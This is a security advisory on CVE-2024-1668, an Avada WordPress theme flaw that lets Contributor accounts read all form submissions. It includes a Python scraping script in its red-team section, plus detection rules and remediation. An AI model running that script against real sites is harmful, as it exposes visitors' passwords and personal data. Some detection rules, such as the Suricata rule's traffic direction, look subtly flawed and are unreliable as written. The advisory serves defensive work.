CVE-2024-1668

Executive Summary

CVE-2024-1668 is a Sensitive Information Exposure vulnerability in the Avada | Website Builder For WordPress & WooCommerce theme, affecting versions up to and including 7.11.5. This flaw allows authenticated attackers with Contributor-level access or higher to view the contents of all form submissions, including obfuscated fields such as the contact form's "password" field. The vulnerability resides in the form entries page, where access controls are insufficient to prevent lower-privileged users from reading sensitive data submitted by site visitors.

This is a WordPress ecosystem issue, specifically within the Avada theme's form builder functionality. The vulnerability does not stem from the underlying web server (Apache/Nginx) but from improper authorization checks in the theme's admin interface.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via ThemeForest and the Avada website. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this theme. The risk is primarily to end-users who have installed the theme and granted Contributor-level access to untrusted users. The lack of a patch at the time of analysis increases the supply chain risk for organizations relying on this theme.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is 6.5, the actual risk is elevated due to the potential exposure of sensitive user-submitted data (passwords, personal information). The low privileges required (Contributor) make this a significant threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is located in the Avada theme's form builder component, specifically in the page that lists and displays form submissions. The theme fails to properly enforce capability checks when rendering form entry data.

Root Cause: The form entries page does not verify that the current user has the necessary permissions (e.g., edit_others_posts or a custom capability) to view all submissions. Instead, it relies on a flawed check that only verifies the user can edit posts (Contributor level), which is insufficient.

Exploitation Mechanism:

1. An attacker authenticates with a Contributor-level account.
2. The attacker navigates to the Avada form entries page (typically /wp-admin/admin.php?page=avada-form-entries).
3. The page queries the database for all form submissions without filtering based on the user's role or the submission's author.
4. The attacker can view all submitted data, including fields marked as "obfuscated" (e.g., password fields). The obfuscation is only applied in the frontend display, but the raw data is still sent to the browser in the HTML source or via AJAX responses.

Data at Risk:

• Contact form submissions (names, emails, messages)
• Password fields (if using Avada's password field)
• Any custom field data submitted through forms

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical analysis of the vulnerable code pattern and a suggested fix.

Vulnerable Code (Hypothetical - Avada theme, class-form-builder.php):

// Vulnerable: No capability check
function get_form_entries() {
    global $wpdb;
    $entries = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}avada_form_entries");
    foreach ($entries as $entry) {
        // Display all fields, including obfuscated ones
        echo $entry->field_value;
    }
}

Patched Code (Suggested Fix):

// Patched: Check for manage_options capability
function get_form_entries() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    global $wpdb;
    $entries = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}avada_form_entries");
    foreach ($entries as $entry) {
        // Only display non-obfuscated fields for non-admin users
        if (current_user_can('manage_options') || !$entry->is_obfuscated) {
            echo $entry->field_value;
        }
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Avada theme <= 7.11.5
• A Contributor-level user account (or higher)
• At least one form submission containing sensitive data

Exploitation Steps:

1. Log in as a Contributor user.
2. Navigate to http://target/wp-admin/admin.php?page=avada-form-entries.
3. The page will display all form submissions. View the page source or inspect network requests to extract obfuscated field values.
4. For automated extraction, use the following Python script:

import requests
from bs4 import BeautifulSoup

target = "http://target"
username = "contributor"
password = "password123"

session = requests.Session()
login_url = f"{target}/wp-login.php"
session.post(login_url, data={"log": username, "pwd": password, "wp-submit": "Log In"})

entries_url = f"{target}/wp-admin/admin.php?page=avada-form-entries"
response = session.get(entries_url)
soup = BeautifulSoup(response.text, 'html.parser')

# Extract all form entry data
entries = soup.find_all('div', class_='avada-form-entry')
for entry in entries:
    print(entry.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual access to /wp-admin/admin.php?page=avada-form-entries by non-admin users.
• Look for Contributor accounts accessing the form entries page.
• Alert on any user with role "Contributor" or "Author" viewing form submissions.

Hardening:

1. Immediate: Restrict Contributor accounts from accessing the admin area entirely using a plugin like "User Role Editor".
2. Code Fix: Apply the suggested patch to class-form-builder.php to enforce manage_options capability.
3. Workaround: Disable the form entries page for non-admin users by adding the following to your theme's functions.php:

add_action('admin_init', function() {
    if (!current_user_can('manage_options') && isset($_GET['page']) && $_GET['page'] === 'avada-form-entries') {
        wp_die('You do not have sufficient permissions to access this page.');
    }
});

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin.php?page=avada-form-entries from non-admin IPs
• Unusual POST requests to /wp-admin/admin-ajax.php with action avada_get_form_entry

File IOCs:

• Modified class-form-builder.php in the Avada theme directory
• Presence of unauthorized admin users with Contributor role

Log IOCs:

• WordPress audit log entries showing Contributor users accessing form entries
• Failed login attempts followed by successful Contributor login and form entry access

Detection Engineering

YARA Rule

rule CVE_2024_1668_Avada_Form_Exposure {
    meta:
        description = "Detects Avada theme files vulnerable to CVE-2024-1668"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1668"
    strings:
        $vuln_func = "get_form_entries" ascii wide nocase
        $no_cap_check = "current_user_can" ascii wide nocase
        $obfuscated_field = "is_obfuscated" ascii wide nocase
    condition:
        $vuln_func and not ($no_cap_check and $obfuscated_field)
}

Sigma Rule

title: Avada Theme Form Entry Access by Non-Admin User
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects when a non-admin user accesses the Avada form entries page
author: Valters IT
date: 2024-01-01
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for admin page access
        UserRole: 
            - 'contributor'
            - 'author'
            - 'subscriber'
        Page: 'avada-form-entries'
    condition: selection
falsepositives:
    - Legitimate admin testing with Contributor account
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1668 Avada Form Entry Access by Non-Admin";
    flow:to_server,established;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=avada-form-entries"; http_uri;
    pcre:"/wp-admin\/admin\.php\?page=avada-form-entries/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict User Roles: Immediately remove Contributor and Author roles from any untrusted users. Use a plugin to limit admin access.
2. Apply Workaround: Add the code snippet from the Blue Team section to your theme's functions.php to block non-admin access to the form entries page.
3. Audit Existing Submissions: Check if any sensitive data has been exposed. Notify affected users if passwords or personal data were compromised.

Long-term Fix:

• Update Theme: Monitor the Avada theme's changelog for a patched version (> 7.11.5). Apply the update as soon as it becomes available.
• Custom Patch: If you have developer resources, apply the suggested code fix to class-form-builder.php.
• Alternative: Consider switching to a different form builder plugin that has proper access controls.

Valters IT Recommendation: This vulnerability is particularly dangerous for membership sites or any WordPress installation where multiple users have Contributor access. Treat this as a high-priority issue due to the potential for credential theft.

Valters IT - DevSecOps & Cyber Threat Intelligence